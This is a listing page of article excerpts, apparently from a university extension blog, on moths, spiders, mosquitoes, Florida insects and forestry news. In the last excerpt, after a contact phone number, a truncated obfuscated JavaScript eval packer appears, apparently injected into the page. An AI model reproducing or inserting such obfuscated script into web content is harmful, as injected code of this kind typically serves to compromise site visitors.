We are pleased to announce a new article on Featured Creatures! Take a sneak peek with this excerpt from the article: The imperial moth, Eacles imperialis imperialis (Drury, 1773), is one of our largest and most beautiful moths. It is also ... READ MORE
Category: Forests, Home Landscapes, Natural Resources, Pests & Disease, Recreation, WildlifeGAINESVILLE, Fla.— Ramachandran P.K. Nair, distinguished professor in the University of Florida Institute of Food and Agricultural Sciences’ school of forest resources and conservation, is this year’s recipient of the Award in Forest ... READ MORE
Category: Agriculture, Forests, UF/IFASWe are pleased to announce a new article on Featured Creatures! Take a sneak peek with this excerpt from the article: The giant leopard moth is our largest eastern tiger moth. It was formerly in the family Arctiidae which now composes the ... READ MORE
Category: Conservation, Forests, Natural Resources, Recreation, WildlifeTallahassee Democrat July 25, 2014 By Jody Walthall Photo by Lilly Anderson-Messec: Bald Cypress What is the most important tree in the forest? Tallahasseean, Jim Stevenson, former Chief Naturalist ... READ MORE
Category: Conservation, Forests, Natural ResourcesThat depends on your definition of ‘here.’ No breeding populations of any species of recluse spiders (Loxosceles laeta, Loxosceles reclusa, and Loxosceles rufescens have all been found in the state), has been found in any Florida county ... READ MORE
Category: Agriculture, Forests, Home Landscapes, Home Management, Natural Resources, Pests & Disease, Pests & Disease, Recreation, Work & LifeWe are pleased to announce a new article on Featured Creatures! Take a sneak peek with this excerpt from the article: The black salt marsh mosquito, Aedes taeniorhynchus (Wiedemann), is very common in the eastern coastal areas of the Americas, ... READ MORE
Category: Agriculture, Coasts & Marine, Forests, Health & Nutrition, Livestock, Natural Resources, Pests & Disease, Recreation, UF/IFAS, UF/IFAS Extension, Work & LifeThese are some common questions- Why are there so many bugs in Florida? Not species but individual bugs. Why is my area so bug-infested? Why are there sometimes so many bugs of a certain type, like love bug swarms? Florida’s warm, humid ... READ MORE
Category: Agriculture, Conservation, Crops, Florida-Friendly Landscaping, Forests, Home Landscapes, Home Management, Pests & Disease, Pests & Disease, UF/IFAS, UF/IFAS ExtensionA UF/IFAS forest biologist is among the authors of a new Association of Public and Land-grant Universities report that outlines six “grand challenges” facing the U.S. in the areas of sustainability, water, climate change, agriculture, ... READ MORE
Category: ForestsGAINESVILLE – Three years ago, a fire destroyed the Austin Cary Learning Center, a university and community resource used by students, alumni, professionals and the community. On Saturday, its newly built replacement will be dedicated ... READ MORE
Category: Agriculture, Forests, UF/IFASFor more information contact Mark Mauldin. 850-638-6180 eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return ... READ MORE
Category: Forests, Natural Resources